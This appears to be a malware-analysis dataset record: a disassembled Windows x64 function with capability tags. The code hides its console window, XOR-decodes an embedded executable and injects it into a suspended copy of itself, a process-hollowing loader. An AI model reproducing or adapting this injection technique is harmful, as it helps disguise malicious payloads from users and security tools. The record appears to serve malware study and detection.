Function at 0x140011299
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Resume thread
Use process replacement

Disassembly:
jmp 0x1400119d0
push rbp
push rdi
sub rsp, 0x9b8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x19a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x958], rax
lea rcx, [0x1400230f2]
call fcn.1400113bb
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [rbp + 4]
lea rdx, [0x14001ad20]
mov ecx, 0x84
call fcn.140011122
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x44], 0x6b
mov eax, dword [rbp + 4]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x84], 0
jmp 0x140011a64
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 4]
cmp dword [rbp + 0x84], eax
jae 0x140011aa5
movsxd rax, dword [rbp + 0x84]
movsxd rcx, dword [rbp + 0x84]
mov rdx, qword [rbp + 0x28]
movzx ecx, byte [rdx + rcx]
movsx edx, byte [rbp + 0x44]
xor ecx, edx
mov rdx, qword [rbp + 0x68]
movzx eax, byte [rdx + rax]
xor eax, ecx
movsxd rcx, dword [rbp + 0x84]
mov rdx, qword [rbp + 0x68]
mov byte [rdx + rcx], al
jmp 0x140011a56
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
cmp dword [rax], 0x4550
jne 0x140011d8f
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.1400112ee
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x160]
call fcn.1400112ee
mov r8d, 0x104
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x128]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140011d8f
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov dword [rax + 0x30], 0x10000b
mov rdx, qword [rbp + 0x628]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140011d8f
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rbp + 0xe8]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rbp + 0x648], 0
jmp 0x140011c57
mov rax, qword [rbp + 0x648]
inc rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0xe8]
movzx eax, word [rax + 6]
cmp qword [rbp + 0x648], rax
jae 0x140011d36
mov rax, qword [rbp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
imul rcx, qword [rbp + 0x648], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x108]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0xa8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x108]
mov edx, dword [rdx + 0xc]
mov r8, qword [rbp + 0x1e8]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0xe8]
add rax, 0x30
mov rcx, qword [rbp + 0x628]
mov rcx, qword [rcx + 0x88]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140011c46
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0x1e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x628]
mov qword [rcx + 0x80], rax
mov rdx, qword [rbp + 0x628]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x140011d95
jmp 0x140011d93
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001acd0]
call fcn.140011343
mov rax, rdi
mov rcx, qword [rbp + 0x958]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x968]
pop rdi
pop rbp
ret